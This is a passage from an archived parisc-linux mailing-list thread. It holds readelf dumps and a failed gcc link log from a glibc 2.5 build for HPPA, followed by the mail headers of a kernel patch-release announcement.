0000195a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1081
00001960  00000b01 R_PARISC_DIR32    00000000   .debug_str + 10f0
00001966  00000b01 R_PARISC_DIR32    00000000   .debug_str + a6b
0000196c  00000b01 R_PARISC_DIR32    00000000   .debug_str + af9
00001977  00000b01 R_PARISC_DIR32    00000000   .debug_str + fc5
0000197f  00000b01 R_PARISC_DIR32    00000000   .debug_str + f9
0000198d  00000b01 R_PARISC_DIR32    00000000   .debug_str + b70
0000199b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 7a6
000019a9  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1281
000019b7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17fe
000019c5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 3df
000019d3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18c0
000019e1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11ff
000019ef  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1473
000019fd  00000b01 R_PARISC_DIR32    00000000   .debug_str + a2f
00001b27  00000b01 R_PARISC_DIR32    00000000   .debug_str + 119d
00001b2f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 155a
00001b3d  00000b01 R_PARISC_DIR32    00000000   .debug_str + f2f
00001b4b  00000b01 R_PARISC_DIR32    00000000   .debug_str + d7b
00001b59  00000b01 R_PARISC_DIR32    00000000   .debug_str + e42
00001b67  00000b01 R_PARISC_DIR32    00000000   .debug_str + b10
00001b75  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11a
00001b83  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1102
00001b91  00000b01 R_PARISC_DIR32    00000000   .debug_str + e3
00001b9f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8b4
00001bad  00000b01 R_PARISC_DIR32    00000000   .debug_str + 154a
00001bbb  00000b01 R_PARISC_DIR32    00000000   .debug_str + be1
00001bca  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17f4
00001bd9  00000b01 R_PARISC_DIR32    00000000   .debug_str + 686
00001be8  00000b01 R_PARISC_DIR32    00000000   .debug_str + 12a5
00001bf7  00000b01 R_PARISC_DIR32    00000000   .debug_str + ef
00001c07  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1728
00001c28  00000b01 R_PARISC_DIR32    00000000   .debug_str + ac3
00001c59  00000b01 R_PARISC_DIR32    00000000   .debug_str + fea
00001c61  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8c2
00001c6f  00000b01 R_PARISC_DIR32    00000000   .debug_str + a84
00001c7d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1302
00001c8b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 131e
00001c99  00000b01 R_PARISC_DIR32    00000000   .debug_str + 2c6
00001ca7  00000b01 R_PARISC_DIR32    00000000   .debug_str + dda
00001cb5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 128
00001cc3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 62a
00001cd1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 6dd
00001cdf  00000b01 R_PARISC_DIR32    00000000   .debug_str + 4f3
00001ced  00000b01 R_PARISC_DIR32    00000000   .debug_str + 51e
00001cfb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 15bf
00001d09  00000b01 R_PARISC_DIR32    00000000   .debug_str + 73b
00001d17  00000b01 R_PARISC_DIR32    00000000   .debug_str + dc0
00001d25  00000b01 R_PARISC_DIR32    00000000   .debug_str + c6
00001d33  00000b01 R_PARISC_DIR32    00000000   .debug_str + 4d9
00001d41  00000b01 R_PARISC_DIR32    00000000   .debug_str + 429
00001d4f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1683
00001d5d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 48e
00001d6b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 10ad
00001d79  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1044
00001d87  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1781
00001d95  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14d5
00001da3  00000b01 R_PARISC_DIR32    00000000   .debug_str + d61
00001db1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 12e8
00001dbf  00000b01 R_PARISC_DIR32    00000000   .debug_str + 111b
00001dcd  00000b01 R_PARISC_DIR32    00000000   .debug_str + a02
00001ddb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 6c1
00001de9  00000b01 R_PARISC_DIR32    00000000   .debug_str + f58
00001df7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1735
00001e05  00000b01 R_PARISC_DIR32    00000000   .debug_str + 137c
00001e13  00000b01 R_PARISC_DIR32    00000000   .debug_str + d0d
00001e21  00000b01 R_PARISC_DIR32    00000000   .debug_str + 69e
00001e30  00000b01 R_PARISC_DIR32    00000000   .debug_str + 12b8
00001e3f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8e4
00001e4e  00000b01 R_PARISC_DIR32    00000000   .debug_str + dfa
00001e5d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 897
00001e6c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 46b
00001e7b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 16e8
00001e8a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 966
00001e99  00000b01 R_PARISC_DIR32    00000000   .debug_str + 16c5
00001ea8  00000b01 R_PARISC_DIR32    00000000   .debug_str + 9c5
00001eb7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17d7
00001ec6  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1610
00001ed5  00000b01 R_PARISC_DIR32    00000000   .debug_str + c3c
00001efb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1533
0000223f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1432
0000224e  00000b01 R_PARISC_DIR32    00000000   .debug_str + ceb
0000225b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 153e
0000226b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 208
00002279  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11c0
00002294  00000b01 R_PARISC_DIR32    00000000   .debug_str + 59e
0000229f  00000101 R_PARISC_DIR32    00000000   .text + 0
000022a3  00000101 R_PARISC_DIR32    00000000   .text + 74
000022a7  00000801 R_PARISC_DIR32    00000000   .debug_loc + 0
000022ac  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11c7
000022b7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 165a
000022c2  00000101 R_PARISC_DIR32    00000000   .text + 14
000022c6  00000101 R_PARISC_DIR32    00000000   .text + 18
000022cb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11c0
000022da  00000101 R_PARISC_DIR32    00000000   .text + 14
000022de  00000101 R_PARISC_DIR32    00000000   .text + 18
000022e5  00000101 R_PARISC_DIR32    00000000   .text + 14
000022e9  00000101 R_PARISC_DIR32    00000000   .text + 18
000022f2  00000801 R_PARISC_DIR32    00000000   .debug_loc + 1f
00002300  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1066
00002307  00000101 R_PARISC_DIR32    00000000   .text + 74
0000230b  00000101 R_PARISC_DIR32    00000000   .text + 80
00002312  00000b01 R_PARISC_DIR32    00000000   .debug_str + 165a
0000231c  00000801 R_PARISC_DIR32    00000000   .debug_loc + 32
00002321  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11c7
0000232c  00000101 R_PARISC_DIR32    00000000   .text + 74
00002330  00000101 R_PARISC_DIR32    00000000   .text + 78
00002335  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11c0
00002344  00000101 R_PARISC_DIR32    00000000   .text + 74
00002348  00000101 R_PARISC_DIR32    00000000   .text + 78
0000234f  00000101 R_PARISC_DIR32    00000000   .text + 74
00002353  00000101 R_PARISC_DIR32    00000000   .text + 78
00002363  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1366
00002371  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14
0000237e  00001701 R_PARISC_DIR32    00000004   __thread_self + 0
00002383  00000b01 R_PARISC_DIR32    00000000   .debug_str + aed
00002389  00000b01 R_PARISC_DIR32    00000000   .debug_str + 108e
00002399  00000b01 R_PARISC_DIR32    00000000   .debug_str + 109
0000239f  00000b01 R_PARISC_DIR32    00000000   .debug_str + c70
000023aa  00000b01 R_PARISC_DIR32    00000000   .debug_str + 24d
000023b7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 265
000023c4  00000b01 R_PARISC_DIR32    00000000   .debug_str + 15b9
000023d1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 201
000023de  00000b01 R_PARISC_DIR32    00000000   .debug_str + e51
000023fc  00000b01 R_PARISC_DIR32    00000000   .debug_str + 3cd
00002409  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1220
00002416  00001801 R_PARISC_DIR32    00000000   __libc_multiple_thread + 0
0000241b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1aa
00002428  00001901 R_PARISC_DIR32    00000000   __librt_multiple_threa + 0

Relocation section '.rela.debug_line' at offset 0x66cc contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
000003dc  00000101 R_PARISC_DIR32    00000000   .text + 0

Relocation section '.rela.PARISC.unwind' at offset 0x66d8 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
00000000  00001331 R_PARISC_SEGREL32 00000000   __libc_enable_asynccan + 0
00000004  00000131 R_PARISC_SEGREL32 00000000   .text + 70
00000010  00001631 R_PARISC_SEGREL32 00000074   __libc_disable_asyncca + 0
00000014  00000131 R_PARISC_SEGREL32 00000000   .text + 7c

Relocation section '.rela.debug_frame' at offset 0x6708 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
00000014  00000701 R_PARISC_DIR32    00000000   .debug_frame + 0
00000018  00000101 R_PARISC_DIR32    00000000   .text + 0
00000030  00000701 R_PARISC_DIR32    00000000   .debug_frame + 0
00000034  00000101 R_PARISC_DIR32    00000000   .text + 74

Relocation section '.rela.debug_pubnames' at offset 0x6738 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
00000006  00000501 R_PARISC_DIR32    00000000   .debug_info + 0

Relocation section '.rela.debug_aranges' at offset 0x6744 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
00000006  00000501 R_PARISC_DIR32    00000000   .debug_info + 0
00000010  00000101 R_PARISC_DIR32    00000000   .text + 0

Unwind section '.PARISC.unwind' at offset 0x2b4c contains 2 entries:

<__libc_enable_asynccancel>: [0x0-0xe0]
	Entry_GR=2 Save_RP Total_frame_size=8 
<__libc_disable_asynccancel>: [0x74-0xf8]
	

Symbol table '.symtab' contains 28 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 SECTION LOCAL  DEFAULT    1 
     2: 00000000     0 SECTION LOCAL  DEFAULT    3 
     3: 00000000     0 SECTION LOCAL  DEFAULT    4 
     4: 00000000     0 SECTION LOCAL  DEFAULT    6 
     5: 00000000     0 SECTION LOCAL  DEFAULT    7 
     6: 00000000     0 SECTION LOCAL  DEFAULT    9 
     7: 00000000     0 SECTION LOCAL  DEFAULT   13 
     8: 00000000     0 SECTION LOCAL  DEFAULT   15 
     9: 00000000     0 SECTION LOCAL  DEFAULT   16 
    10: 00000000     0 SECTION LOCAL  DEFAULT   18 
    11: 00000000     0 SECTION LOCAL  DEFAULT   20 
    12: 00000000     0 SECTION LOCAL  DEFAULT    5 
    13: 00000000     0 SECTION LOCAL  DEFAULT   11 
    14: 00000000     0 SECTION LOCAL  DEFAULT   21 
    15: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __divdi3_internal
    16: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __udivdi3_internal
    17: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __moddi3_internal
    18: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __umoddi3_internal
    19: 00000000   116 FUNC    GLOBAL HIDDEN    1 __libc_enable_asynccancel
    20: 00000000     0 NOTYPE  GLOBAL HIDDEN  UND __libc_pthread_functions
    21: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND $$dyncall
    22: 00000074    12 FUNC    GLOBAL HIDDEN    1 __libc_disable_asynccance
    23: 00000004     4 OBJECT  GLOBAL DEFAULT  COM __thread_self
    24: 00000000     4 OBJECT  GLOBAL HIDDEN    4 __libc_multiple_threads
    25: 00000000     4 OBJECT  GLOBAL DEFAULT    4 __librt_multiple_threads
    26: 00000000   116 FUNC    GLOBAL DEFAULT    1 __librt_enable_asynccance
    27: 00000074    12 FUNC    GLOBAL DEFAULT    1 __librt_disable_asynccanc

No version information found in this file.

Notes at offset 0x000000b4 with length 0x00000014:
  Owner		Data size	Description
  01.01		0x00000000	NT_VERSION (version)

--------------070304040203050209060201
Content-Type: text/plain;
 name="dump.readelf_timedreceive"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dump.readelf_timedreceive"

ELF Header:
  Magic:   7f 45 4c 46 01 02 01 03 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              REL (Relocatable file)
  Machine:                           HPPA
  Version:                           0x1
  Entry point address:               0x0
  Start of program headers:          0 (bytes into file)
  Start of section headers:          356 (bytes into file)
  Flags:                             0x20b, PA-RISC 1.0
  Size of this header:               52 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         0
  Size of section headers:           40 (bytes)
  Number of section headers:         10
  Section header string table index: 7

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        00000000 000034 0000d8 00  AX  0   0  4
  [ 2] .rela.text        RELA            00000000 00042c 000048 0c      8   1  4
  [ 3] .data             PROGBITS        00000000 00010c 000000 00  WA  0   0  1
  [ 4] .bss              NOBITS          00000000 00010c 000000 00  WA  0   0  1
  [ 5] .PARISC.unwind    PROGBITS        00000000 00010c 000010 04   A  0   1  4
  [ 6] .rela.PARISC.unwi RELA            00000000 000474 000018 0c      8   5  4
  [ 7] .shstrtab         STRTAB          00000000 00011c 000045 00      0   0  1
  [ 8] .symtab           SYMTAB          00000000 0002f4 0000b0 10      9   5  4
  [ 9] .strtab           STRTAB          00000000 0003a4 000087 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

There are no program headers in this file.

Relocation section '.rela.text' at offset 0x42c contains 6 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
0000001c  00000622 R_PARISC_DLTIND21 00000000   __librt_multiple_threa + 0
00000020  00000626 R_PARISC_DLTIND14 00000000   __librt_multiple_threa + 0
00000044  0000070c R_PARISC_PCREL17F 00000000   __errno_location + 0
00000070  0000080c R_PARISC_PCREL17F 00000000   __librt_enable_asyncca + 0
000000a0  0000090c R_PARISC_PCREL17F 00000000   __librt_disable_asyncc + 0
000000bc  0000070c R_PARISC_PCREL17F 00000000   __errno_location + 0

Relocation section '.rela.PARISC.unwind' at offset 0x474 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
00000000  00000531 R_PARISC_SEGREL32 00000000   __GI_mq_timedreceive + 0
00000004  00000131 R_PARISC_SEGREL32 00000000   .text + d4

Unwind section '.PARISC.unwind' at offset 0x10c contains 1 entries:

<__GI_mq_timedreceive>: [0x0-0x1a8]
	Entry_GR=1 Save_RP Total_frame_size=8 

Symbol table '.symtab' contains 11 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 SECTION LOCAL  DEFAULT    1 
     2: 00000000     0 SECTION LOCAL  DEFAULT    3 
     3: 00000000     0 SECTION LOCAL  DEFAULT    4 
     4: 00000000     0 SECTION LOCAL  DEFAULT    5 
     5: 00000000   216 FUNC    GLOBAL DEFAULT    1 __GI_mq_timedreceive
     6: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_multiple_threads
     7: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __errno_location
     8: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_enable_asynccance
     9: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_disable_asynccanc
    10: 00000000   216 FUNC    WEAK   DEFAULT    1 mq_timedreceive

No version information found in this file.

--------------070304040203050209060201
Content-Type: text/plain;
 name="log.link"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
 filename="log.link"

+ gcc-4.1 -v -shared -static-libgcc -Wl,-O1 -Wl,-z,defs -Wl,-dynamic-link=
er=3D/lib/ld.so.1 -B/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/cs=
u/ -Wl,--version-script=3D/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-l=
ibc/librt.map -Wl,-soname=3Dlibrt.so.1 -Wl,-z,combreloc -Wl,--hash-style=3D=
both -Wl,--enable-new-dtags,-z,nodelete -L/home/seb/dev/glibc/glibc-2.5/b=
uild-tree/hppa-libc -L/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/=
math -L/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/elf -L/home/seb=
/dev/glibc/glibc-2.5/build-tree/hppa-libc/dlfcn -L/home/seb/dev/glibc/gli=
bc-2.5/build-tree/hppa-libc/nss -L/home/seb/dev/glibc/glibc-2.5/build-tre=
e/hppa-libc/nis -L/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt -=
L/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/resolv -L/home/seb/de=
v/glibc/glibc-2.5/build-tree/hppa-libc/crypt -L/home/seb/dev/glibc/glibc-=
2.5/build-tree/hppa-libc/linuxthreads -Wl,-rpath-link=3D/home/seb/dev/gli=
bc/glibc-2.5/build-tree/hppa-libc:/home/seb/dev/glibc/glibc-2.5/build-tre=
e/hppa-libc/math:/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/elf:/=
home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/dlfcn:/home/seb/dev/gli=
bc/glibc-2.5/build-tree/hppa-libc/nss:/home/seb/dev/glibc/glibc-2.5/build=
-tree/hppa-libc/nis:/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt=
:/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/resolv:/home/seb/dev/=
glibc/glibc-2.5/build-tree/hppa-libc/crypt:/home/seb/dev/glibc/glibc-2.5/=
build-tree/hppa-libc/linuxthreads -o /home/seb/dev/glibc/glibc-2.5/build-=
tree/hppa-libc/rt/librt.so -T /home/seb/dev/glibc/glibc-2.5/build-tree/hp=
pa-libc/shlib.lds /home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/csu/=
abi-note.o -Wl,--whole-archive /home/seb/dev/glibc/glibc-2.5/build-tree/h=
ppa-libc/rt/librt_pic.a -Wl,--no-whole-archive /home/seb/dev/glibc/glibc-=
2.5/build-tree/hppa-libc/elf/interp.os /home/seb/dev/glibc/glibc-2.5/buil=
d-tree/hppa-libc/libc.so /home/seb/dev/glibc/glibc-2.5/build-tree/hppa-li=
bc/libc_nonshared.a /home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/li=
nuxthreads/libpthread_nonshared.a /home/seb/dev/glibc/glibc-2.5/build-tre=
e/hppa-libc/linuxthreads/libpthread.so /home/seb/dev/glibc/glibc-2.5/buil=
d-tree/hppa-libc/elf/ld.so
Using built-in specs.
Target: hppa-linux-gnu
Configured with: ../src/configure -v --enable-languages=3Dc,c++,fortran,o=
bjc,obj-c++,treelang --prefix=3D/usr --enable-shared --with-system-zlib -=
-libexecdir=3D/usr/lib --without-included-gettext --enable-threads=3Dposi=
x --enable-nls --with-gxx-include-dir=3D/usr/include/c++/4.1.3 --program-=
suffix=3D-4.1 --enable-__cxa_atexit --enable-clocale=3Dgnu --enable-libst=
dcxx-debug --enable-mpfr --disable-libssp --enable-checking=3Drelease hpp=
a-linux-gnu
Thread model: posix
gcc version 4.1.3 20070629 (prerelease) (Debian 4.1.2-13)
 /usr/lib/gcc/hppa-linux-gnu/4.1.3/collect2 --eh-frame-hdr --hash-style=3D=
both -shared -o /home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt/lib=
rt.so /home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/csu/crti.o /usr/=
lib/gcc/hppa-linux-gnu/4.1.3/crtbeginS.o -L/home/seb/dev/glibc/glibc-2.5/=
build-tree/hppa-libc -L/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc=
/math -L/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/elf -L/home/se=
b/dev/glibc/glibc-2.5/build-tree/hppa-libc/dlfcn -L/home/seb/dev/glibc/gl=
ibc-2.5/build-tree/hppa-libc/nss -L/home/seb/dev/glibc/glibc-2.5/build-tr=
ee/hppa-libc/nis -L/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt =
-L/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/resolv -L/home/seb/d=
ev/glibc/glibc-2.5/build-tree/hppa-libc/crypt -L/home/seb/dev/glibc/glibc=
-2.5/build-tree/hppa-libc/linuxthreads -L/home/seb/dev/glibc/glibc-2.5/bu=
ild-tree/hppa-libc/csu -L/usr/lib/gcc/hppa-linux-gnu/4.1.3 -L/usr/lib/gcc=
/hppa-linux-gnu/4.1.3 -L/usr/lib/gcc/hppa-linux-gnu/4.1.3/../../.. -O1 -z=
 defs -dynamic-linker=3D/lib/ld.so.1 --version-script=3D/home/seb/dev/gli=
bc/glibc-2.5/build-tree/hppa-libc/librt.map -soname=3Dlibrt.so.1 -z combr=
eloc --hash-style=3Dboth --enable-new-dtags -z nodelete -rpath-link=3D/ho=
me/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc:/home/seb/dev/glibc/glibc=
-2.5/build-tree/hppa-libc/math:/home/seb/dev/glibc/glibc-2.5/build-tree/h=
ppa-libc/elf:/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/dlfcn:/ho=
me/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/nss:/home/seb/dev/glibc/g=
libc-2.5/build-tree/hppa-libc/nis:/home/seb/dev/glibc/glibc-2.5/build-tre=
e/hppa-libc/rt:/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/resolv:=
/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/crypt:/home/seb/dev/gl=
ibc/glibc-2.5/build-tree/hppa-libc/linuxthreads /home/seb/dev/glibc/glibc=
-2.5/build-tree/hppa-libc/csu/abi-note.o --whole-archive /home/seb/dev/gl=
ibc/glibc-2.5/build-tree/hppa-libc/rt/librt_pic.a --no-whole-archive /hom=
e/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/elf/interp.os /home/seb/de=
v/glibc/glibc-2.5/build-tree/hppa-libc/libc.so /home/seb/dev/glibc/glibc-=
2.5/build-tree/hppa-libc/libc_nonshared.a /home/seb/dev/glibc/glibc-2.5/b=
uild-tree/hppa-libc/linuxthreads/libpthread_nonshared.a /home/seb/dev/gli=
bc/glibc-2.5/build-tree/hppa-libc/linuxthreads/libpthread.so /home/seb/de=
v/glibc/glibc-2.5/build-tree/hppa-libc/elf/ld.so -lgcc -lgcc_eh -lgcc -lc=
 -lgcc -lgcc_eh /usr/lib/gcc/hppa-linux-gnu/4.1.3/crtendS.o /home/seb/dev=
/glibc/glibc-2.5/build-tree/hppa-libc/csu/crtn.o -T /home/seb/dev/glibc/g=
libc-2.5/build-tree/hppa-libc/shlib.lds
/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt/librt_pic.a(clock_n=
anosleep.os): In function `clock_nanosleep':
/home/seb/dev/glibc/glibc-2.5/build-tree/glibc-2.5/rt/../sysdeps/unix/sys=
v/linux/clock_nanosleep.c:42: undefined reference to `__librt_multiple_th=
reads'
/home/seb/dev/glibc/glibc-2.5/build-tree/glibc-2.5/rt/../sysdeps/unix/sys=
v/linux/clock_nanosleep.c:42: undefined reference to `__librt_multiple_th=
reads'
/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt/librt_pic.a(mq_time=
dsend.os): In function `mq_timedsend':
(.text+0x1c): undefined reference to `__librt_multiple_threads'
/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt/librt_pic.a(mq_time=
dsend.os): In function `mq_timedsend':
(.text+0x20): undefined reference to `__librt_multiple_threads'
/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt/librt_pic.a(mq_time=
dreceive.os): In function `mq_timedreceive':
(.text+0x1c): undefined reference to `__librt_multiple_threads'
/home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt/librt_pic.a(mq_time=
dreceive.os):(.text+0x20): more undefined references to `__librt_multiple=
_threads' follow
/usr/bin/ld: /home/seb/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt/librt.=
so: hidden symbol `__librt_multiple_threads' isn't defined
/usr/bin/ld: final link failed: Nonrepresentable section on output
collect2: ld returned 1 exit status

--------------070304040203050209060201
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------070304040203050209060201--



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc v2.6.22-rc6-pa1
Date: Fri, 29 Jun 2007 03:01:18 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20070629070118.GB9495__31055.2941555672$1416624408$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624408 24693 80.91.229.3 (22 Nov 2014 02:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jun 2007 07:12:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 29 Jun 2007 09:12:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 635717DD71;
	Fri, 29 Jun 2007 01:12:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13800-01; Fri, 29 Jun 2007 01:12:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19B6F7DD6D;
	Fri, 29 Jun 2007 01:12:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 462097DD69
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jun 2007 01:12:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13711-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jun 2007 01:12:16 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 777E57DD52
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jun 2007 01:12:16 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B1D5C5840A0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jun 2007 03:12:13 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4306758409F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jun 2007 03:12:13 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 18B6023E06; Fri, 29 Jun 2007 03:01:19 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
